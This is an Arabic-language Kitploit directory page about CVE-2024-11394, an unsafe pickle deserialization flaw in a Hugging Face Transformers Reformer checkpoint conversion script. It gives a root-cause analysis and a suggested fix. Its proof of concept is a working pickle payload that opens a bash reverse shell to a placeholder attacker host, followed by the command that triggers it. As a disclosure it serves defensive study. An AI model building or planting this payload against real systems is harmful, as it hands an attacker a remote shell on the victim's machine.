Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-11394 — التفاصيل التقنية والاستغلال لـ CVE-2024-11394 | Kitploit
أدوات/GitHubGitHub/piyush-bhor/cve-2024-11394
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن الذكاء الاصطناعي
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

التفاصيل التقنية والاستغلال لـ CVE-2024-11394

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-11394

ثغرة تنفيذ تعليمات برمجية عن بُعد في نموذج Hugging Face Transformers Trax بسبب إلغاء تسلسل بيانات غير موثوقة

نظرة عامة عالية المستوى وتأثيرات الثغرة:
تسمح الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على الجهاز المضيف عن طريق توفير ملف نقطة تفتيش reformer trax خبيث للنص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py في مستودع Hugging Face Transformers.
إذا استخدم مستخدم غير منتبه ملف نقطة تفتيش reformer trax من طرف ثالث، فإن تنفيذ النص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py سيؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE) على نظام الضحية.

المنتج المعرض للثغرة

  • المنتج: Hugging Face Transformers
  • الوحدة: Reformer
  • الملف: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • الإصدار: Latest
  • الرابط الدائم على GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

تحليل السبب الجذري

  • وصف تفصيلي للثغرة: تنشأ الثغرة من إلغاء تسلسل غير آمن لبيانات غير موثوقة. يستخدم النص البرمجي pickle.load لتحميل ملف نقطة التفتيش ويكون عرضة لتنفيذ التعليمات البرمجية.

  • تدفق التعليمات البرمجية من الإدخال إلى الحالة المعرضة للثغرة:

  1. يقوم المستخدم بتنزيل نموذج reformer trax من طرف ثالث.
  2. يقوم المستخدم بتشغيل النص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py ويمرر ملف نقطة التفتيش إليه.
  3. يقوم النص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py بإلغاء تسلسل ملف نقطة التفتيش وتنفيذ التعليمات البرمجية الخبيثة.
  • نقطة الحقن: تحدث الثغرة في النقطة التي يتم فيها استدعاء pickle.load.
    الرابط الدائم على GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • الإصلاحات المقترحة: استبدال pickle.load بـ yaml.safe_load(yaml_file) أو json.load لمنع تنفيذ التعليمات البرمجية العشوائية.

  • تعليمات تنفيذ إثبات المفهوم:

  1. قم بتشغيل exploit.py لإنشاء ملف pickle خبيث malicious.pkl سينشئ شل عكسية على نظام الضحية:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

ملاحظة: قم بتغيير ATTACKER_IP و ATTACKER_PORT قبل إرسال الملف إلى الضحية.

  1. أنشئ ملف إعدادات config.json:
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. قم بتشغيل النص البرمجي convert_reformer_trax_checkpoint_to_pytorch.py ومرر ملف malicious.pkl إلى --trax_model_pkl_path:
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

ملاحظة: يمكن تعيين pytorch_dump_folder_path كأي دليل.

رابط تنزيل البرنامج:
https://github.com/huggingface/transformers/tree/main

تنزيل الأداة